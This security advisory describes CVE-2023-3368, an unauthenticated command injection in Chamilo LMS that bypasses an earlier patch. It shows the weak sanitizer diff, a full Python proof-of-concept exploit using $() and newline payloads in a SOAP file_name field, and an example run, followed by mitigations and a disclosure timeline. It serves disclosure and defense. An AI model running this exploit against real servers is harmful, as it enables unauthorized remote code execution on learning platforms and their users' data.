Summary
Product | Chamilo |
---|---|
Vendor | Chamilo |
Severity | High - Adversaries may exploit software vulnerabilities to obtain unauthenticated remote code execution. |
Affected Versions | <= v1.11.20 |
Tested Versions | v1.11.20 (latest version as of writing) |
CVE Identifier | CVE-2023-3368 |
CVE Description | Command injection in /main/webservices/additional_webservices.php in Chamilo LMS <= v1.11.20 allows unauthenticated attackers to obtain remote code execution via improper neutralisation of special characters. This is a bypass of CVE-2023-34960. |
CWE Classification(s) | CWE-78: Improper Neutralization of Special Elements used in an OS Command |
CAPEC Classification(s) | CAPEC-88 OS Command Injection |
CVSS3.1 Scoring System
Base Score: 9.8 (Critical)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:N/C:H/I:H/A:H
Metric | Value |
---|---|
Attack Vector (AV) | Network |
Attack Complexity (AC) | Low |
Privileges Required (PR) | None |
User Interaction (UI) | None |
Scope (S) | Unchanged |
Confidentiality (C) | High |
Integrity (I) | High |
Availability (A) | High |
Product Overview
Chamilo is an open-source PHP-based Learning Management System (LMS) that facilitates online education and training. It offers features such as course creation, content management, assessments, collaboration and delivering educational resources.
Vulnerability Summary
The patch for CVE-2023-34960 (unauthenticated command injection) is insufficient, allowing for multiple bypasses of the sanitisation applied to user input used in constructing shell commands. Consequently, unauthenticated attackers may exploit the vulnerability to gain remote code execution.
Note: The original vulnerability (CVE-2023-34960) was found to be exploited in the wild. As such, we strongly recommend Chamilo users to apply the latest security patches to mitigate this and 9 other high-severity vulnerabilities reported by STAR Labs.
Vulnerability Details
Chamilo maintainers applied the following patch to main/webservices/additional_webservices.php
in an attempt to address CVE-2023-34960:
---
main/inc/lib/security.lib.php | 10 ++++++++++
main/webservices/additional_webservices.php | 11 +++++++----
2 files changed, 17 insertions(+), 4 deletions(-)
diff --git a/main/inc/lib/security.lib.php b/main/inc/lib/security.lib.php
index ac1b90e5618..c6490c5b1e2 100755
--- a/main/inc/lib/security.lib.php
+++ b/main/inc/lib/security.lib.php
@@ -632,4 +632,14 @@ private static function generateSecTokenVariable(string $prefix = ''): string
return $prefix.'_sec_token';
}
+ /**
+ * Sanitize a string, so it can be used in the exec() command without
+ * "jail-breaking" to execute other commands.
+ * @param string $param The string to filter
+ * @return string
+ */
+ public static function sanitizeExecParam(string $param): string
+ {
+ return preg_replace('/[`;&|]/', '', $param);
+ }
}
diff --git a/main/webservices/additional_webservices.php b/main/webservices/additional_webservices.php
index effb6ccdf5c..965825bbcc0 100755
--- a/main/webservices/additional_webservices.php
+++ b/main/webservices/additional_webservices.php
@@ -29,10 +29,13 @@ function wsConvertPpt($pptData)
}
}
$fileData = $pptData['file_data'];
- $dataInfo = pathinfo($pptData['file_name']);
- $fileName = basename($pptData['file_name'], '.'.$dataInfo['extension']);
- $fullFileName = $pptData['file_name'];
- $size = $pptData['service_ppt2lp_size'];
+ // Clean filename to avoid hacks. Prevents "&" and ";" to be used in filename, notably
+ $sanitizedFileName = Security::sanitizeExecParam($pptData['file_name']);
+ $dataInfo = pathinfo($sanitizedFileName);
+ $fileName = basename($sanitizedFileName, '.'.$dataInfo['extension']);
+ // Add additional cleaning of .php and .htaccess files
+ $fullFileName = Security::filter_filename($sanitizedFileName);
+ $size = Security::sanitizeExecParam($pptData['service_ppt2lp_size']);
$w = '800';
$h = '600';
if (!empty($size)) {
However, on closer scrunity, it is clear that the sanitisation performed by Security::sanitizeExecParam()
is insufficient – only certain shell meta-characters (backticks, semi-colons, ampersand, and pipe characters) are removed from the user input used in constructing a shell command.
This means that the following techniques will still allow for command injection payloads to work just fine:
- Using
$()
command substitutions - Injecting newlines in the shell commands to be executed, causing each line to be treated as separate shell commands to be executed.
The command injection subsequently happens below:
...
$cmd = pptConverterGetCommandBaseParams();
$cmd .= ' -w '.$w.' -h '.$h.' -d oogie "'.$tempPath.$fullFileName.'" "'.$tempPathNewFiles.$fileName.'.html"';
...
$shell = exec($cmd, $files, $return);
Exploit Conditions
No additional constraints were identified. An unauthenticated attacker is expected to be able to execute this exploit scenario reliably.
Proof-of-Concept
- Save the following proof-of-concept exploit script as
unauth-command-injection.py
:
#!/usr/bin/env python3
import argparse
import requests
SOAP_REQUEST_TEMPLATE = '''<?xml version="1.0" encoding="UTF-8"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="{url}" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:ns2="http://xml.apache.org/xml-soap" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:wsConvertPpt><param0 xsi:type="ns2:Map"><item><key xsi:type="xsd:string">file_data</key><value xsi:type="xsd:string"></value></item><item><key xsi:type="xsd:string">file_name</key><value xsi:type="xsd:string">{payload}</value></item><item><key xsi:type="xsd:string">service_ppt2lp_size</key><value xsi:type="xsd:string">720x540</value></item></param0></ns1:wsConvertPpt></SOAP-ENV:Body></SOAP-ENV:Envelope>
'''
def execute_command(url, command, technique):
payload = f'$({command})' if technique == 'substitution' else f""""\n{command}\n"""
data = SOAP_REQUEST_TEMPLATE.format(url=url, payload=payload)
try:
response = requests.post(f'{url}/main/webservices/additional_webservices.php', data=data, headers={'Content-Type': 'application/xml'})
return (response.status_code == 200 and "wsConvertPptResponse" in response.text)
except:
return False
def main():
parser = argparse.ArgumentParser()
parser.add_argument('-u', '--url', help='Url of your Chamilo', required=True)
parser.add_argument('-c', '--command', help='Command to execute', required=False)
parser.add_argument('-t', '--technique', default='substitution', choices=['substitution', 'newline'], help='Command to execute', required=False)
args = parser.parse_args()
if args.command is None:
if execute_command(args.url, 'id', args.technique):
print(f'URL vulnerable: {args.url}')
else:
print(f'URL not vulnerable: {args.url}')
else:
if execute_command(args.url, args.command, args.technique):
print(f'Command executed: {args.command}')
else:
print(f'An error has occured, URL is not vulnerable: {args.url}')
if __name__ == '__main__':
main()
- Run the exploit script using
python3 unauth-command-injection.py http://<target-chamilo>:<port> -c '<command>'
. For example, the following command saves theid
shell command output to/tmp/pwned
on the target:$ python3 unauth-command-injection.py -u http://chamilo -c 'id > /tmp/pwned'
- On the target, verify that the
/tmp/pwned
file exists after executing the proof-of-concept exploit script:$ cat /tmp/pwned uid=33(www-data) gid=33(www-data) groups=33(www-data)
Suggested Mitigations
It is recommended to use escapeshellarg()
to properly escape user-input used to construct shell commands, as well as remove dollar signs ($
) and newlines (\n
) in Security::sanitizeExecParam()
as well.
End users are encouraged to update to the latest version of Chamilo.
Detection Guidance
It is possible to detect the exploitation of this vulnerability by checking the server’s access logs for all requests made to /main/webservices/additional_webservices.php
.
Timeline
- 2023-07-05 Vendor Disclosure
- 2023-07-06 Initial Vendor Contact
- 2023-07-18 Vendor published the vulnerability sumamry
- 2023-07-17 Mutual agreement to delay the publication of vulnerability details was reached in light of the recent in-the-wild exploitation of Chamilo N-day vulnerability (CVE-2023-34960)
- 2023-08-03 Vendor Patch Release (v1.11.22) completely fixing vulnerability
- 2023-11-28 Public Disclosure